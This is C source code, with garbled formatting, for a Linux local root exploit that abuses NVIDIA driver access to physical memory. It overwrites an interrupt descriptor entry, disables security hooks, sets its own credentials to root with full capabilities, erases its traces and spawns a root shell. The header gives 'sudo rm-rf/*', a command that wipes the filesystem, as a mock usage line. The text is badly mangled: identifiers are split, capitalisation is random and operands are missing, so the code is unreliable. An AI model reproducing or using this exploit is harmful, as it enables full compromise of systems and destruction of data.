/* Anonymous * How to Use:sudo rm-rf/* * Greetz:djrbliss, Kad, ac1db1tch3z, nvidia! * * Only complete fix patch nvidia drivers and redefine * Is_blacklisted_reg_offset: #define IS_BLACKLISTED_REG_OFFSET (NV, Offset, Length) 1 */#define _gnu_source#include <fcntl.h> #include <sys/sysinfo.h> #include <stdint.h > #include <inttypes.h> #include <stdarg.h> #include <stdio.h> #include <stdlib.h> #include <unistd.h> #include <sys/wait.h> #include <sys/socket.h> #include <linux/netlink.h> #include <linux/inet_diag.h> #include <string.h> #include <sys/mman.h> #include <errno.h> #include < netinet/in.h> #include <dirent.h> #ifdef __x86_64__#define kernel_base 0xffffffff80000000l#else#define Kernel_base 0xc0000000#endif#define ENTRY 0xdc#define inline __attribute__ ((always_inline)) #ifdef __x86_64__#define _ _kernel#else#define __kernel __attribute__ ((Regparm (3)) #endif # define __used __attribute ((used)) static UNSigned long kernel_ofs_phys;static volatile uint32_t *cve_2012_yyyy;static void poke_byte (volatile uint32_t *m, uint32_t OFS, uint8_t val) {uint32_t i = (OFS & 3) * 8;ofs >>= 2;m[ofs] = (M[ofs] & ~ (0xFF << i)) | (Val << i);} static void Physread16 (volatile uint32_t *m, uint32_t target, uint32_t *buffer) {if (1) {uint32_t OFS = (Target & 0x3ff FF)/4, i;if (Target & 0xf) {printf ("[] Function requires 16-byte alignment for input!\n"); exit (-1);} CVE_2012_YYYY[0XF00/4] = 0xb | (Target >>) << memset (buffer, 0, +); for (i = 0; i < 4; ++i) {uint32_t shift = i * 8;poke_byte (cve_ 2012_YYYY, 0x204, i); Buffer[0] |= (M[OFS/4] & 0xff) << shift;buffer[1] |= ((M[OFS/4] & 0xff00) >> 8) & lt;< shift;buffer[2] |= ((M[OFS/4] & 0xff0000) >>) << shift;buffer[3] |= ((M[OFS/4] & 0xff000000 >>) << shift;}} static void Physwrite16 (volatile uint32_t *m, uint32_t target, uint32_t *buffer) {if (1) {Uint32_t I, OFS = (target & 0x3ffff)/4;if (Target & 0xf) {printf ("[] Function requires 16-byte alignment for output!\n "); exit (-1);} CVE_2012_YYYY[0XF00/4] = 0xb | ((target >>) <<); for (i = 0; i < 4; ++i) {int shift = 8 * i;uint32_t val;poke_byte (cve_2012_yyyy, 0x1 1<<i); val = (buffer[0] >> shift) & 0xff;val |= ((buffer[1] >> shift) & 0xff) << 8;val |= ((buffer[2] >> shift) & 0xff) << 16;val |= ((buffer[3] >> shift) & 0xFF) << 24;M[OFS/4] = Val;}}} unsigned long Virt2phys (unsigned long addr) {unsigned long phys;addr &= ~kernel_base;addr + = Kernel_ofs_phys;phys = Add R & 0xffffffff;return Phys;} Dest have to is 16-byte and slightly larger for unaligned readsvoid *kernel_read (volatile uint32_t *m, void *dest, Unsig Ned Long src, unsigned long len) {uint32_t rem, Phys = Virt2phys (src); void *ret = Dest + (src & 0xf); rem = (-phys) & ; 0xf;if (REM) {physread16 (M, Phys & ~0xf, dest);d est + = 0x10;phys + = rem;if (Len > rem) len-= Rem;elselen = 0;} for (; len; phys + = 0x10, dest + = 0x10, Len-= Len >=, 16:len) Physread16 (M, Phys, dest); return ret;} void Kernel_write (volatile uint32_t *m, unsigned long dest, unsigned long src, unsigned long len) {uint32_t phys;unsigned L Ong remaining, towrite, I;phys = Virt2phys (dest); if (!m | | m = = map_failed) puts ("not actually writing ..."); if (1) {Remaini ng = len;for (i = 0; i < len; i + =) {uint32_t buffer[4];if (remaining <) Physread16 (M, Phys + I, (uint32_t*) buf FER); towrite = remaining > 16? 16:remaining;memcpy (buffer, (void*) (src + i), towrite);p Hyswrite16 (M, Phys + I, (uint32_t*) buffer); remaining-= 16;}}} static void mode_x (volatile uint32_t *x) {//Http://wiki.osdev.org/VGA_Hardware mode x//3C0X[0X310/4] = 0x000f0041;x[0x3 14/4] = 0;//3C2X[0X000/4] = 0xe3;//3C4X[0X100/4] = 0X000F0103;X[0X104/4] = 0x06;//3CEX[0X204/4] = 0x0f054000;//3d4x[0x 400/4] = 0x82504f5f;x[0x404/4] = 0x3e0d8054;poke_byte (x, 0x408, 0);pOke_byte (x, 0x409, 0x41); X[0X410/4] = 0X28DFACEA;X[0X414/4] = 0xe306e700;} static int dirfilter (const struct dirent *d) {return D->d_type = = Dt_lnk && strchr (d->d_name, ': ');} static int nvidia_fd (uint64_t *res) {struct dirent **list;int fd, RESFD, Ret;char Buf[256];ret = Scandir ("/sys/bus/pci/dri Vers/nvidia ", &list, Dirfilter, Versionsort); if (ret <= 0) Goto fail;sprintf (buf,"/sys/bus/pci/drivers/nvidia/% S/resource ", list[0]->d_name); resfd = open (buf, o_rdonly), if (RESFD < 0) Goto Fail;read (RESFD, buf, sizeof (BUF)); * res = Strtoll (buf, NULL, +), close (RESFD), if (fd = open ("/dev/nvidia0", O_RDWR)) < 0) goto Fail;return fd;fail:perror (" COULD not does SUPER SECRET HACKING STUFF, you is on YOUR own! "); *res = 0;return-1;} Volatile uint32_t *nvidia_handle (int fd, uint64_t res) {//Access 4 bytes at a time or things go weirdvolatile uint32_t *m ; if (FD < 0) return map_failed;//I had to learn VGA for thism = cve_2012_yyyy = Mmap (NULL, 0x1000, prot_read| Prot_write, Map_shared, FD, res + 0x619000); if (m! = map_failed) {if (M[0XF00/4] & 8) && (M = mmap (NULL, 0x10000, Prot_ read| Prot_write, map_shared, FD, res + 0xa0000)) = map_failed) {printf ("[*] cve-2012-yyyy\n"); mode_x (cve_2012_yyyy);//Put in To VGA Mode x, Ishreturn m;} Munmap ((void*) cve_2012_yyyy, 0x1000); m = cve_2012_yyyy = map_failed;} return m;} static int tasknamelen;static char Taskname[64];extern long gettask (void), extern long testgetroot (void); __used __kernel extern long Callsetroot (long uid, long gid), #define FN (x) ". Globl" x "\n\t.type" x ", @function \n\t" x ": \N\T.CFI_STARTPR oc\n\t "#define END". cfi_endproc\n\t "ASM (". Text\n\t.align 4\n\t "FN (" Testgetroot ")//and has fun!:D #ifdef __x86_64__" Swapgs\n\t "" Call getroot\n\t "" swapgs\n\t "" iretq\n\t "#else" mov%fs,%edi\n\t "" Mov $0xd8,%esi\n\t "" Mov%esi,%fs\n\t "" Call getroot\n\t "" mov%edi,%fs\n\t "" Iretl\n\t "#endifENDFN (" Gettask ") #ifdef __x86_64__//Grab some offsets from system_ Call "mov $0xc0000082,%ecx\n\t" "rdmsr\n\t" "MovslQ%eax,%rax\n\t "//Fuck optional Alignment, fix it by looking for//the start prefix for our lovely mov%gs:. In System_call we just found//this would get us kernel_stack, in which most cases it means that//we current_task are righ T below it//This was only needed if kallsyms fails "1:\n\t" "Cmpw $0x4865, 0x3 (%rax) \n\t" "Je 2f\n\t" "Incq%rax\n\t" "JMP 1b\n \ t "" "2:\n\t" "MOVL (%rax),%edx\n\t"//Blegh padding "3:\n\t" "Addl $8,%edx\n\t" "Movq%gs: (%edx),%rax\n\t" "Test%eax,% eax\n\t "JZ 3b\n\t" "Cmpl $-1,%eax\n\t" "Je 3b\n\t" #else//Todo:maybe ... " Xor%eax,%eax\n\t "#endif" ret\n\t "End#define S2 (x) #x # define S1 (x) S2 (x) FN (" Callsetroot ") #ifdef __x86_64__" int $ "S1 ( ENTRY) "\n\t" #else "Push%edi\n\t" "Push%esi\n\t" "int $" S1 (ENTRY) "\n\t" "Pop%esi\n\t" "Pop%edi\n\t" #endif "ret\n\t" END ". Previous"); struct kallsyms {unsigned long *addresses;unsigned long num_syms;unsigned char *names;unsigned long * markers;unsigned Char *token_table;unsigned short *token_index;};/ /Memory layout kallsyms, all pointer aligned://unsigned long addresses[num_kallsyms]//unsigned long num_kallsyms//unsigned char names[...] unsigned long markers[(num_kallsyms + 0xff) >> 8] = {0, ...} Char Token_table[var ...] = {null terminated strings}//unsigned short token_index[var?...] = {0, ...};//this shoul D probably work for 64-bits and 32-bits kernels//if only tested on 64-bits kernelsinline static long init_kallsyms (Struc T kallsyms *ks) {unsigned long start = Kernel_base + 0x1000000l;unsigned Long *max = (void*) kernel_base + 0x2000000l;unsign Ed long *cur;for (cur = (void*) start; cur < max; cur + = 2) {if (*cur = = Start && (cur[1] = = Start | | cur[-1] = = start) goto unwind;} Return-1;unwind:while ((cur[0] & kernel_base) = = kernel_base) cur++;ks->addresses = cur-*cur;ks->num_syms = * ( cur++) Ks->names = (unsigned char*) cur;do {cur++;} while (*cur); ks->markers = Cur;cur + = (ks->num_syms + 0xff) >> 8;ks->token_table = (unsigned char*) cur;//Zero terminatedString can create padding that could//be interpreted as token_index, requiring the | | !*curdo {cur++;} while (* (unsigned short*) cur | |!*cur); ks->token_index = (unsigned short*) cur;return (long) Ks->nu m_syms;} #define Ksym_name_len 128inline static int kstrcmp (const char *x, const char *y) {for (; *x = = *y; x + +, y++) if (!*x) return 0 ; return-1;} /* * Kallsyms.c:in-kernel printing of symbolic oopses and stack traces. * * Rewritten and vastly simplified by Rusty Russell for In-kernel * Module Loader: * Copyright 2002 Rusty Russell <[ email protected]> IBM Corporation * * ChangeLog: * * (25/aug/2004) Paulo Marques <[email protected]> * Changed the compression method from stem compression to "table lookup" * Compression (see SCRIPTS/KALLSYMS.C for A more complete description) */inline static unsigned int kallsyms_expand_symbol (struct kallsyms *ks, unsigned int off, c Har *result) {int len, Skipped_first = 0;const unsigned char *tptr, *data;/* Get the compressed symbol length from the first symbol byte. */data = &ks->names[off];len = *data;data++;/* * Update The offset to return the offset for the next symbol on * th e compressed stream. */off + = len + 1;/* * For every byte in the compressed symbol data, copy the table * entry for that byte. */while (len) {tptr = &ks->token_table[ks->token_index[*data]];d ata++;len--;while (*tptr) {if (skipped_ First) {*result = *tptr;result++;} elseskipped_first = 1;tptr++;}} *result = ' + ';/* Return to offset to the next symbol. */return off;} Inline static unsigned long kdlsym (struct kallsyms *ks, char *name) {char namebuf[ksym_name_len];unsigned long i;unsigned I NT Off;for (i = 0, off = 0; i < ks->num_syms; i++) {off = Kallsyms_expand_symbol (KS, off, namebuf); if (KSTRCMP (nameb UF, name) = = 0) return ks->addresses[i];} return 0;} __used __kernel Long Getroot (long uid, long gid) {int i;unsigned long cred;int *j = null;int K;char *p;struct kallsyms ks;u nsigned Long task_struct = 0;long RET = init_kallsyms (&ks), if (Ret > 0) {void (*FN) (void); __kernel void * (*FN1) (void*); unsigned long Task_offset;char Fnops[] = "Reset_security_ops"; char fntask[] = "Current_task"; char fncred[] = "get_task_cred";//SELINUX is overrated. fn = (void*) kdlsym (&ks, Fnops), if (FN) FN (),//Get a more reliable offset to current_task if we cantask_offset = Kdlsy M (&ks, Fntask); if (Task_offset) #ifdef __x86_64__asm ("mov%%gs: (% 1),%0": "=r" (task_struct): "R" (Task_offset)); Elseasm ("mov%%fs: (% 1),%0": "=r" (task_struct): "R" (Task_offset)), #endifelsetask_struct = Gettask (); if (!task_struct) RETURN-4;FN1 = (void*) kdlsym (&ks, fncred), if (fn1) {j = fn1 ((void*) task_struct);//And decrease refcount we just incr Easedasm ("lock; Decl (%0) "::" R "(j));}} else if (!ret) task_struct = Gettask (); elsereturn-ret;if (!task_struct) return-5;//no kallsyms or No get_task_cred, Manua Lly try to Findif (!j) {//All the creds is belong to usfor (i = 0; i < 0x1000; i + = sizeof (void*)) {p = (char *)(task_struct + i); for (k = 0; k < Tasknamelen; k++) {if (p[k]! = Taskname[k]) break; if (k = = Tasknamelen) {cred = * (unsigned long *) ((unsigned long) p-sizeof (unsigned long) * 2); j = (int *) Cred;break;}} if (!j) return-1;} for (i = 0; i < i++, j + +) {if (j[0] = = UID && j[1] = = UID && j[2] = = UID && j[3] = = UID & amp;& j[4] = gid && j[5] = = GID && j[6] = = GID && j[7] = = GID) {/* uid, Euid, suid, Fsuid */j[0] = j[1] = j[2] = j[3] = 0;/* gid, Egid, Sgid, fsgid */j[4] = j[5] = j[6] = j[7] = 0;/* allcaps!! 111 */j[10] = j[11] = 0xffffffff;j[12] = j[13] = 0xffffffff;j[14] = j[15] = 0xffffffff;return 0;}} Return-2;} struct gdt{uint16_t limit; uint32_t Base;} __ATTRIBUTE__ ((packed)); static unsigned long Getidt () {struct GDT idt; memset (&idt, 0x00, sizeof (struct GDT)); ASM volatile ("Sidt%0": "=m" (IDT)); return Idt.base | 0xffffffff00000000ul;} typedef struct GATE_STRUCT {uint16_t offset_low; uint16_t segment; Unsigned ist:3, Zero0:5, Type:5, Dpl:2, p:1; uint16_t offset_middle; #ifdef __x86_64__ uint32_t Offset_high; uint32_t Zero1; #endif} __attribute__ ((packed)) Gate_desc;enum {gate_interrupt = 0xe,gate_trap = 0xf,gate_call = 0xC,GATE _task = 0x5,}; #define Yes_please 3#define Ptr_low (x) ((unsigned long) (x) & 0xFFFF) #define PTR_MIDDLE (x) (((Unsigned lo NG) (x) >>) & 0xFFFF) #define PTR_HIGH (x) ((unsigned long) (x) >>) #ifdef __x86_64__#define __kernel_cs 0x10#else#define __kernel_cs 0x60#endifvoid dump_gate (Gate_desc *gate) {#if 0uint16_t *p = (void *) gate;unsigned i;for (i = 0; I < sizeof (*gate)/sizeof (uint16_t); i++) printf ("%04x\n", *p++), #endif}void dump_bytes (void *desc) {int i;for (i = 0; i <; ++i) {printf ("%02x", ((char*) de SC) [i]); if (I < && (i% 4) = = 3) printf (""); printf ("\ n");} static inline void Pack_gate (Gate_desc *gate, unsigned type, unsigned long func, unsigned DPL, UnsIgned ist, unsigned seg) {Gate->offset_low = Ptr_low (func); gate->offset_middle = Ptr_middle (func);gate-> Segment = Seg;gate->ist = Ist;gate->p = 1;GATE->DPL = Dpl;gate->zero0 = 0;gate->type = type; #ifdef __x86_64 __gate->offset_high = Ptr_high (func); gate->zero1 = 0; #endifdump_gate (gate);} Test mode, not really a exploit, although it does//show the option to forbid physical memory is uselessstatic int dev Mem_fd (void) {int fd = open ("/dev/mem", o_rdwr| O_sync); if (FD < 0) perror ("/dev/mem"); return FD;} void *xalloc (unsigned long len) {void *ret = Null;posix_memalign (&ret, +, ((LEN+0XF) &~0xf) + +); return ret;} void Xfree (void *ptr) {free ((void*) ((unsigned long) PTR & ~0XFL));} int main (int argc, char * argv[]) {volatile uint32_t *handle = null;long ret, I, found = 0;char *p;gate_desc gate, gate2[16 /sizeof (GATE_DESC)];uint32_t buf[4];gate_desc *DP = (gate_desc*) buf;uint8_t data[256];uint64_t res = 0;printf ("[*] IDT Offset at% #lx \ n ", Getidt ());//SyntaX:--dumpmem BAR0, for debugging "cant find my kernel" issues as Rootif (argc > 2 && (!strcmp (argv[1], "-D") | | !STRCMP (Argv[1], "--dumpmem")) {res = Strtoll (argv[2], NULL, +); handle = Nvidia_handle (DEVMEM_FD (), res); for (i = 0; i < 0x4000000; i + = +) {physread16 (handle, I, (void*) data); Write (2, data, 16);} return 0;} else if (argc > 1 && (res = Strtoll (argv[1], NULL, +))) {handle = Nvidia_handle (DEVMEM_FD (), res); if (!getuid ( ) {setgid (+); setuid (1000);} if (handle = = map_failed) return-1;printf ("[*] Dry run With/dev/mem as uid%u gid%u...\n", Getuid (), Getgid ());} if (p = STRCHR (argv[0], '/')) P++;elsep = argv[0];strcpy (TaskName, p); tasknamelen = strlen (taskname); if (!handle | | handl E = = map_failed) {uint64_t Res;int fd = NVIDIA_FD (&res);p rintf ("[*] abusing nvidia...\n"); handle = Nvidia_handle (FD, R ES); if (!handle | | handle = = map_failed) return-1;} x86_of_entryunsigned Long idtentry = Getidt () + (2*sizeof (unsigned long));p ack_gate (&gate, GATe_interrupt, Kernel_base, yes_please, 0, __kernel_cs); for (i = 0; i <; ++i) {Kernel_ofs_phys = i * 1024x768 * 1024;phy SREAD16 (Handle, Virt2phys (idtentry), buf);//Copy offsets since we don ' t really care about Themgate.offset_low = Dp->of Fset_low;gate.offset_middle = dp->offset_middle; #ifndef __x86_64__gate.segment = dp->segment;if (* (uint64_t*) &DP[1] = = 0x00000000ffffffffull) {printf ("[x] 64-bits kernel found at ofs%lx\n", Kernel_ofs_phys);p rintf ("[X] Compil Ed for 32-bits only\n "); continue;} #endifif (!MEMCMP (&gate, DP, sizeof (*DP))) {printf ("[*]%zu-bits Kernel found at ofs%lx\n", sizeof (void*) *8, Kernel_o Fs_phys); found = 1;break;}} if (!found) {printf ("[X] No kernel found! >:(\ n "); return-1;} Idtentry = Getidt () + (2*sizeof (unsigned long) *entry);p rintf ("[*] Using IDT ENTRY:%d (% #lx) \ n", ENTRY, Idtentry);p Hysread (Handle, Virt2phys (idtentry), buf);d Ump_gate (DP);p rintf ("[*] Enhancing Gate entry...\n");p ack_gate (&gate, Gate _interrupt, (uintptr_t) & (TestgeTroot), yes_please, 0, __kernel_cs); Kernel_write (handle, Idtentry, (unsigned long) &gate, sizeof (GATE));p Hysread16 (Handle, Virt2phys (Idtentry), (uint32_t*) gate2), if (memcmp (&gate, Gate2, sizeof (GATE))) {printf ("[] failed!\n"); return-1;} printf ("[*] triggering payload...\n"), ret = Callsetroot (Getuid (), Getgid ()),//and restore old one, I ' m kind like Thatprin TF ("[*] hiding evidence...\n"), Kernel_write (Handle, Idtentry, (unsigned long) DP, sizeof (*DP)), if (ret) printf (" Callsetroot returned%LX (%li) \ n ", ret, ret), if (Getuid ()) {printf (" [*] Failed to get root.\n "); return-1;} printf ("[*]" has root, would travel. \ n "), Execl ("/bin/bash "," sh ", NULL);p error ("/bin/bash "); return 1;}